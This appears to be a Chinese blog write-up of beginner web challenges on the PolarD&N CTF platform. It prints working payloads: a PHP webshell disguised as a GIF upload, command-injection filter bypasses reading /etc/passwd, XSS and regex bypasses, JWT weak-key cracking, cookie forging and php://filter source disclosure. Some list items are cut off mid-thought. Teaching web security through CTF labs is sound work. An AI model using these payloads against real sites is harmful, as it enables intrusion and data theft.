第一次接触PolarD&N-CTF的Web题目时,我完全是个小白。记得当时连"dirsearch"是什么工具都不知道,更别说正则绕过了。现在回头看这些入门题,发现它们就像精心设计的阶梯,一步步引导新手理解Web安全的核心逻辑。
Web安全入门最迷人的地方在于:每个漏洞都是程序员无意间留下的逻辑漏洞。比如那个经典的.swp备份文件泄露,就是开发者在vim编辑时产生的临时文件。实战中我遇到过不少企业网站都存在这类问题,只需要在URL后添加/.index.php.swp就能获取源码。
新手必备的第一个神器就是dirsearch。记得我第一次用这个工具扫描时,手抖输错了参数,把目标服务器扫挂了(后来才知道要加-delay参数控制速度)。在PolarD&N-CTF的"swp"题目中,标准操作流程应该是:
bash复制python3 dirsearch.py -u http://target.com -e php,swp,bak
关键点在于:
-e参数指定扫描扩展名,php/swp/bak是必选项拿到源码后的分析是门艺术。以那道正则绕过题为例:
php复制function jiuzhe($xdmtql) {
return preg_match('/sys.*nb/is',$xdmtql);
}
这里有两个关键过滤:
.*会匹配除换行符外的任意字符我的绕过方案是用换行符分割:
code复制xdmtql=sys%0anb
因为%0a在URL解码后就是换行符,能绕过正则但保留字符串内容。
"ezupload"这道题展示了典型的文件上传漏洞。新手常犯的错误是直接上传.php文件,其实有更隐蔽的方式:
http复制POST /upload.php HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.gif"
Content-Type: image/gif
GIF89a
<?php system($_GET['cmd']); ?>
"简单rce"题目演示了命令注入的经典过滤场景。当空格被过滤时,可以用这些替代方案:
| 过滤字符 | 替代方案 |
|---|---|
| 空格 | ${IFS}、%09、$IFS$9 |
| 分号 | %26、%0a |
| 关键词 | 反引号、$() |
实战payload示例:
code复制?cmd=ls${IFS}-la
?cmd=cat%09/etc/passwd
"浮生日记"这道XSS题教会我前端过滤的绕过技巧。当发现<script>被过滤时:
">闭合前端的input标签<scriscriptpt>html复制"><scriscriptpt>alert(1)</scriscriptpt>
"蜜雪冰城"题目展示了纯前端验证的脆弱性。通过Chrome开发者工具:
在"cookie欺骗"题目中,关键是要理解服务端的验证逻辑:
http复制GET /admin.php HTTP/1.1
Cookie: role=admin
通过Burp拦截请求,简单修改Cookie值就能获得权限。实际开发中这种漏洞常出现在JWT未签名或使用弱密钥的情况。
"jwt"题目需要用到jwt-cracker工具破解弱密钥:
bash复制./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.SYSA
破解出密钥SYSA后,用jwt.io网站重新生成管理员token:
"$$"这道题展示了PHP变量覆盖的威力。当看到这种代码结构时:
php复制$c = $_GET['c'];
$$c = 'test';
可以构造payload使$c=GLOBALS,这样就会变成:
php复制$GLOBALS = 'test';
从而泄露所有全局变量,包括flag。
PHP伪协议在CTF中屡试不爽。以"签到题"为例:
code复制?file=php://filter/convert.base64-encode/resource=flag
这个payload能:
刚开始做CTF时,我总想着直接找flag,后来才发现理解出题人意图更重要。比如"召唤神龙"那道题,表面是游戏,实际考察的是JS代码审计能力。
几个实用建议:
'"><script>alert(1)</script>记得有次比赛遇到一道题卡了3小时,最后发现flag就在robots.txt里。这种经历让我明白:Web安全需要耐心和系统性的检查清单。